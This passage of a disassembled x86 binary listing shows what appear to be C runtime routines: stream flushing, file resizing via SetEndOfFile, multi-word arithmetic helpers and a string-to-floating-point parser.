		jmp	short loc_41F0B0
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F017+92j
		xor	eax, eax
		jmp	short loc_41F0BD
sub_41F017	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41DA17


loc_41F0C8:				; CODE XREF: sub_41DA17+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_46CE00, esi
		jle	short loc_41F11B


loc_41F0D7:				; CODE XREF: sub_41DA17+1702j
		mov	eax, dword_46BDF8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41F112
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41F0F6
		push	eax
		call	sub_415960
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41F0F6
		inc	edi


loc_41F0F6:				; CODE XREF: sub_41DA17+16D0j
					; sub_41DA17+16DCj
		cmp	esi, 14h
		jl	short loc_41F112
		mov	eax, dword_46BDF8
		push	dword ptr [eax+esi*4]
		call	sub_415C9B
		mov	eax, dword_46BDF8
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_41F112:				; CODE XREF: sub_41DA17+16CAj
					; sub_41DA17+16E2j
		inc	esi
		cmp	esi, dword_46CE00
		jl	short loc_41F0D7


loc_41F11B:				; CODE XREF: sub_41DA17+16BEj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41DA17

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F120	proc near		; CODE XREF: sub_41DDF6+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_415B90
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_46CF20
		jnb	loc_41F255
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_46CE20[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41F255
		push	1
		push	esi
		push	ebx
		call	sub_41C447
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41F25F
		push	2
		push	esi
		push	ebx
		call	sub_41C447
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41F25F
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41F202
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_415390
		push	8000h
		push	ebx
		call	sub_41FD5A
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_41F1B6:				; CODE XREF: sub_41F120+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41F1C1
		mov	eax, edi


loc_41F1C1:				; CODE XREF: sub_41F120+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41CCC7
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F1DF
		sub	edi, eax
		test	edi, edi
		jle	short loc_41F1F5
		jmp	short loc_41F1B6
; ---------------------------------------------------------------------------


loc_41F1DF:				; CODE XREF: sub_41F120+B5j
		cmp	dword_46BB08, 5
		jnz	short loc_41F1F2
		mov	dword_46BB04, 0Dh


loc_41F1F2:				; CODE XREF: sub_41F120+C6j
		or	esi, 0FFFFFFFFh


loc_41F1F5:				; CODE XREF: sub_41F120+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41FD5A
		pop	ecx
		pop	ecx
		jmp	short loc_41F242
; ---------------------------------------------------------------------------


loc_41F202:				; CODE XREF: sub_41F120+71j
		jge	short loc_41F242
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41C447
		push	ebx
		call	sub_41DD62
		add	esp, 10h
		push	eax
		call	dword_421010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F242
		mov	dword_46BB04, 0Dh
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_46BB08, eax


loc_41F242:				; CODE XREF: sub_41F120+E0j
					; sub_41F120:loc_41F202j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41C447
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41F262
; ---------------------------------------------------------------------------


loc_41F255:				; CODE XREF: sub_41F120+1Aj
					; sub_41F120+36j
		mov	dword_46BB04, 9


loc_41F25F:				; CODE XREF: sub_41F120+4Ej
					; sub_41F120+63j
		or	eax, 0FFFFFFFFh


loc_41F262:				; CODE XREF: sub_41F120+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41F120	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F266	proc near		; CODE XREF: sub_41E261+2Bp
					; sub_41E261+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41F27C
		cmp	ecx, esi
		jnb	short loc_41F27F


loc_41F27C:				; CODE XREF: sub_41F266+10j
		push	1
		pop	eax


loc_41F27F:				; CODE XREF: sub_41F266+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41F266	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F287	proc near		; CODE XREF: sub_41F340+40p
					; sub_41F340+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41F266
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F2B9
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41F266
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F2B9
		inc	dword ptr [esi+8]


loc_41F2B9:				; CODE XREF: sub_41F287+19j
					; sub_41F287+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41F266
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F2D1
		inc	dword ptr [esi+8]


loc_41F2D1:				; CODE XREF: sub_41F287+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41F266
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41F287	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F2E5	proc near		; CODE XREF: sub_41F340+30p
					; sub_41F340+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41F2E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F313	proc near		; CODE XREF: sub_41F8D8+1C8p
					; sub_41FDD0+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41F313	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F340	proc near		; CODE XREF: sub_41F407+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41F3B4
		push	edi
		mov	[ebp+arg_8], eax


loc_41F367:				; CODE XREF: sub_41F340+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41F2E5
		push	ebx
		call	sub_41F2E5
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41F287
		push	ebx
		call	sub_41F2E5
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41F287
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41F367
		xor	edx, edx
		pop	edi


loc_41F3B4:				; CODE XREF: sub_41F340+21j
					; sub_41F340+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41F3E1
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41F3B4
; ---------------------------------------------------------------------------


loc_41F3E1:				; CODE XREF: sub_41F340+77j
		mov	esi, 8000h


loc_41F3E6:				; CODE XREF: sub_41F340+B9j
		test	[ebx+8], esi
		jnz	short loc_41F3FB
		push	ebx
		call	sub_41F2E5
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41F3E6
; ---------------------------------------------------------------------------


loc_41F3FB:				; CODE XREF: sub_41F340+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41F340	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F407	proc near		; CODE XREF: sub_41E5AA+17p
					; sub_41E5D7+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41F442:				; CODE XREF: sub_41F407+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41F458
		cmp	cl, 9
		jz	short loc_41F458
		cmp	cl, 0Ah
		jz	short loc_41F458
		cmp	cl, 0Dh
		jnz	short loc_41F45B


loc_41F458:				; CODE XREF: sub_41F407+40j
					; sub_41F407+45j ...
		inc	edi
		jmp	short loc_41F442
; ---------------------------------------------------------------------------


loc_41F45B:				; CODE XREF: sub_41F407+4Fj
		push	4
		pop	esi


loc_41F45E:				; CODE XREF: sub_41F407+AEj
					; sub_41F407+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41F6E1	; default
					; jumptable 0041F46A case 10
		jmp	off_41F8A8[eax*4] ; switch jump


loc_41F471:				; DATA XREF: .text:off_41F8A8o
		cmp	bl, 31h		; jumptable 0041F46A case 0
		jl	short loc_41F482
		cmp	bl, 39h
		jg	short loc_41F482


loc_41F47B:				; CODE XREF: sub_41F407+C4j
					; sub_41F407+118j
		push	3
		jmp	loc_41F69F
; ---------------------------------------------------------------------------


loc_41F482:				; CODE XREF: sub_41F407+6Dj
					; sub_41F407+72j
		cmp	bl, byte_438600
		jnz	short loc_41F491


loc_41F48A:				; CODE XREF: sub_41F407+124j
		push	5
		jmp	loc_41F6D7
; ---------------------------------------------------------------------------


loc_41F491:				; CODE XREF: sub_41F407+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41F4B7
		dec	eax
		dec	eax
		jz	short loc_41F4AB
		sub	eax, 3
		jnz	loc_41F77A
		jmp	loc_41F53A
; ---------------------------------------------------------------------------


loc_41F4AB:				; CODE XREF: sub_41F407+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41F45E
; ---------------------------------------------------------------------------


loc_41F4B7:				; CODE XREF: sub_41F407+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41F45E
; ---------------------------------------------------------------------------


loc_41F4C0:				; CODE XREF: sub_41F407+63j
					; DATA XREF: .text:off_41F8A8o
		cmp	bl, 31h		; jumptable 0041F46A case 1
		mov	[ebp+var_10], edx
		jl	short loc_41F4CD
		cmp	bl, 39h
		jle	short loc_41F47B


loc_41F4CD:				; CODE XREF: sub_41F407+BFj
		cmp	bl, byte_438600
		jz	loc_41F595
		cmp	bl, 2Bh
		jz	short loc_41F50F
		cmp	bl, 2Dh
		jz	short loc_41F50F
		cmp	bl, 30h
		jz	short loc_41F53A


loc_41F4E8:				; CODE XREF: sub_41F407+207j
		cmp	bl, 43h
		jle	loc_41F77A
		cmp	bl, 45h
		jle	short loc_41F508
		cmp	bl, 63h
		jle	loc_41F77A
		cmp	bl, 65h
		jg	loc_41F77A


loc_41F508:				; CODE XREF: sub_41F407+EDj
		push	6
		jmp	loc_41F6D7
; ---------------------------------------------------------------------------


loc_41F50F:				; CODE XREF: sub_41F407+D5j
					; sub_41F407+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41F6D7
; ---------------------------------------------------------------------------


loc_41F517:				; CODE XREF: sub_41F407+63j
					; DATA XREF: .text:off_41F8A8o
		cmp	bl, 31h		; jumptable 0041F46A case 2
		jl	short loc_41F525
		cmp	bl, 39h
		jle	loc_41F47B


loc_41F525:				; CODE XREF: sub_41F407+113j
		cmp	bl, byte_438600
		jz	loc_41F48A
		cmp	bl, 30h
		jnz	loc_41F6EF


loc_41F53A:				; CODE XREF: sub_41F407+9Fj
					; sub_41F407+DFj
		mov	eax, edx
		jmp	loc_41F45E
; ---------------------------------------------------------------------------


loc_41F541:				; CODE XREF: sub_41F407+63j
					; DATA XREF: .text:off_41F8A8o
		mov	[ebp+var_10], edx ; jumptable 0041F46A case 3


loc_41F544:				; CODE XREF: sub_41F407+184j
		cmp	dword_4385FC, edx
		jle	short loc_41F55D
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41F56B
; ---------------------------------------------------------------------------


loc_41F55D:				; CODE XREF: sub_41F407+143j
		mov	ecx, off_4383F0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41F56B:				; CODE XREF: sub_41F407+154j
		test	eax, eax
		jz	short loc_41F58D
		cmp	[ebp+var_4], 19h
		jnb	short loc_41F585
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41F588
; ---------------------------------------------------------------------------


loc_41F585:				; CODE XREF: sub_41F407+16Cj
		inc	[ebp+var_8]


loc_41F588:				; CODE XREF: sub_41F407+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F544
; ---------------------------------------------------------------------------


loc_41F58D:				; CODE XREF: sub_41F407+166j
		cmp	bl, byte_438600
		jnz	short loc_41F5FC


loc_41F595:				; CODE XREF: sub_41F407+CCj
		mov	eax, esi
		jmp	loc_41F45E
; ---------------------------------------------------------------------------


loc_41F59C:				; CODE XREF: sub_41F407+63j
					; DATA XREF: .text:off_41F8A8o
		cmp	[ebp+var_4], 0	; jumptable 0041F46A case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41F5B5


loc_41F5A8:				; CODE XREF: sub_41F407+1ACj
		cmp	bl, 30h
		jnz	short loc_41F5B5
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F5A8
; ---------------------------------------------------------------------------


loc_41F5B5:				; CODE XREF: sub_41F407+19Fj
					; sub_41F407+1A4j ...
		cmp	dword_4385FC, edx
		jle	short loc_41F5CE
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41F5DC
; ---------------------------------------------------------------------------


loc_41F5CE:				; CODE XREF: sub_41F407+1B4j
		mov	ecx, off_4383F0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41F5DC:				; CODE XREF: sub_41F407+1C5j
		test	eax, eax
		jz	short loc_41F5FC
		cmp	[ebp+var_4], 19h
		jnb	short loc_41F5F7
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_41F5F7:				; CODE XREF: sub_41F407+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F5B5
; ---------------------------------------------------------------------------


loc_41F5FC:				; CODE XREF: sub_41F407+18Cj
					; sub_41F407+1D7j
		cmp	bl, 2Bh
		jz	loc_41F50F
		cmp	bl, 2Dh
		jz	loc_41F50F
		jmp	loc_41F4E8
; ---------------------------------------------------------------------------


loc_41F613:				; CODE XREF: sub_41F407+63j
					; DATA XREF: .text:off_41F8A8o
		cmp	dword_4385FC, edx ; jumptable 0041F46A case 5
		mov	[ebp+var_24], edx
		jle	short loc_41F62F
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41F63D
; ---------------------------------------------------------------------------


loc_41F62F:				; CODE XREF: sub_41F407+215j
		mov	ecx, off_4383F0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41F63D:				; CODE XREF: sub_41F407+226j
		test	eax, eax
		jz	loc_41F6EF
		mov	eax, esi
		jmp	short loc_41F6A0
; ---------------------------------------------------------------------------


loc_41F649:				; CODE XREF: sub_41F407+63j
					; DATA XREF: .text:off_41F8A8o
		lea	ecx, [edi-2]	; jumptable 0041F46A case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41F659
		cmp	bl, 39h
		jle	short loc_41F69D


loc_41F659:				; CODE XREF: sub_41F407+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41F6D5
		dec	eax
		dec	eax
		jz	short loc_41F6C9
		sub	eax, 3
		jnz	loc_41F77D


loc_41F66E:				; CODE XREF: sub_41F407+2A4j
		push	8
		jmp	short loc_41F6D7
; ---------------------------------------------------------------------------


loc_41F672:				; CODE XREF: sub_41F407+63j
					; DATA XREF: .text:off_41F8A8o
		mov	[ebp+var_20], edx ; jumptable 0041F46A case 8


loc_41F675:				; CODE XREF: sub_41F407+276j
		cmp	bl, 30h
		jnz	short loc_41F67F
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F675
; ---------------------------------------------------------------------------


loc_41F67F:				; CODE XREF: sub_41F407+271j
		cmp	bl, 31h
		jl	loc_41F77A
		cmp	bl, 39h
		jg	loc_41F77A
		jmp	short loc_41F69D
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F407+63j
					; DATA XREF: .text:off_41F8A8o
		cmp	bl, 31h		; jumptable 0041F46A case 7
		jl	short loc_41F6A6
		cmp	bl, 39h
		jg	short loc_41F6A6


loc_41F69D:				; CODE XREF: sub_41F407+250j
					; sub_41F407+28Aj
		push	9


loc_41F69F:				; CODE XREF: sub_41F407+76j
		pop	eax


loc_41F6A0:				; CODE XREF: sub_41F407+240j
		dec	edi
		jmp	loc_41F45E
; ---------------------------------------------------------------------------


loc_41F6A6:				; CODE XREF: sub_41F407+28Fj
					; sub_41F407+294j
		cmp	bl, 30h
		jnz	short loc_41F6EF
		jmp	short loc_41F66E
; ---------------------------------------------------------------------------


loc_41F6AD:				; CODE XREF: sub_41F407+63j
					; DATA XREF: .text:off_41F8A8o
		cmp	[ebp+arg_18], 0	; jumptable 0041F46A case 11
		jz	short loc_41F6DD
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41F6D5
		dec	eax
		dec	eax
		jnz	loc_41F77D


loc_41F6C9:				; CODE XREF: sub_41F407+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41F45E
; ---------------------------------------------------------------------------


loc_41F6D5:				; CODE XREF: sub_41F407+258j
					; sub_41F407+2B8j
		push	7


loc_41F6D7:				; CODE XREF: sub_41F407+85j
					; sub_41F407+103j ...
		pop	eax
		jmp	loc_41F45E
; ---------------------------------------------------------------------------


loc_41F6DD:				; CODE XREF: sub_41F407+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41F6E1:				; CODE XREF: sub_41F407+5Dj
					; sub_41F407+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041F46A case 10
		jz	loc_41F77F
		jmp	loc_41F45E
; ---------------------------------------------------------------------------


loc_41F6EF:				; CODE XREF: sub_41F407+12Dj
					; sub_41F407+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41F77F
; ---------------------------------------------------------------------------


loc_41F6F7:				; CODE XREF: sub_41F407+63j
					; DATA XREF: .text:off_41F8A8o
		mov	[ebp+var_20], 1	; jumptable 0041F46A case 9
		xor	esi, esi


loc_41F700:				; CODE XREF: sub_41F407+339j
		cmp	dword_4385FC, 1
		jle	short loc_41F718
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41F727
; ---------------------------------------------------------------------------


loc_41F718:				; CODE XREF: sub_41F407+300j
		mov	ecx, off_4383F0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41F727:				; CODE XREF: sub_41F407+30Fj
		test	eax, eax
		jz	short loc_41F747
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41F742
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F700
; ---------------------------------------------------------------------------


loc_41F742:				; CODE XREF: sub_41F407+334j
		mov	esi, 1451h


loc_41F747:				; CODE XREF: sub_41F407+322j
		mov	[ebp+var_1C], esi


loc_41F74A:				; CODE XREF: sub_41F407+371j
		cmp	dword_4385FC, 1
		jle	short loc_41F762
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41F771
; ---------------------------------------------------------------------------


loc_41F762:				; CODE XREF: sub_41F407+34Aj
		mov	ecx, off_4383F0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41F771:				; CODE XREF: sub_41F407+359j
		test	eax, eax
		jz	short loc_41F77A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F74A
; ---------------------------------------------------------------------------


loc_41F77A:				; CODE XREF: sub_41F407+99j
					; sub_41F407+E4j ...
		dec	edi
		jmp	short loc_41F77F
; ---------------------------------------------------------------------------


loc_41F77D:				; CODE XREF: sub_41F407+261j
					; sub_41F407+2BCj
		mov	edi, ecx


loc_41F77F:				; CODE XREF: sub_41F407+2DDj
					; sub_41F407+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41F867
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41F7AB
		cmp	[ebp+var_45], 5
		jl	short loc_41F79F
		inc	[ebp+var_45]


loc_41F79F:				; CODE XREF: sub_41F407+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41F7AE
; ---------------------------------------------------------------------------


loc_41F7AB:				; CODE XREF: sub_41F407+38Dj
		mov	eax, [ebp+var_C]


loc_41F7AE:				; CODE XREF: sub_41F407+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41F85D


loc_41F7B8:				; CODE XREF: sub_41F407+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41F7C6
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41F7B8
; ---------------------------------------------------------------------------


loc_41F7C6:				; CODE XREF: sub_41F407+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41F340
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41F7E5
		neg	eax


loc_41F7E5:				; CODE XREF: sub_41F407+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41F7F0
		add	eax, [ebp+arg_10]


loc_41F7F0:				; CODE XREF: sub_41F407+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41F7F8
		sub	eax, [ebp+arg_14]


loc_41F7F8:				; CODE XREF: sub_41F407+3ECj
		cmp	eax, 1450h
		jle	short loc_41F82F
		mov	[ebp+var_2C], 1


loc_41F806:				; CODE XREF: sub_41F407+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_41F812:				; CODE XREF: sub_41F407+454j
					; sub_41F407+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41F878
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41F88D
; ---------------------------------------------------------------------------


loc_41F82F:				; CODE XREF: sub_41F407+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41F83F
		mov	[ebp+var_30], 1
		jmp	short loc_41F806
; ---------------------------------------------------------------------------


loc_41F83F:				; CODE XREF: sub_41F407+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41FFF0
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41F812
; ---------------------------------------------------------------------------


loc_41F85D:				; CODE XREF: sub_41F407+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41F812
; ---------------------------------------------------------------------------


loc_41F867:				; CODE XREF: sub_41F407+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41F88D
; ---------------------------------------------------------------------------


loc_41F878:				; CODE XREF: sub_41F407+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41F88D
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41F88D:				; CODE XREF: sub_41F407+426j
					; sub_41F407+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41F407	endp

; ---------------------------------------------------------------------------
off_41F8A8	dd offset loc_41F471	; DATA XREF: sub_41F407+63r
		dd offset loc_41F4C0	; jump table for switch	statement
		dd offset loc_41F517
		dd offset loc_41F541
		dd offset loc_41F59C
		dd offset loc_41F613
		dd offset loc_41F649
		dd offset loc_41F693
		dd offset loc_41F672
		dd offset loc_41F6F7
		dd offset loc_41F6E1
		dd offset loc_41F6AD

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F8D8	proc near		; CODE XREF: sub_41E67B+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
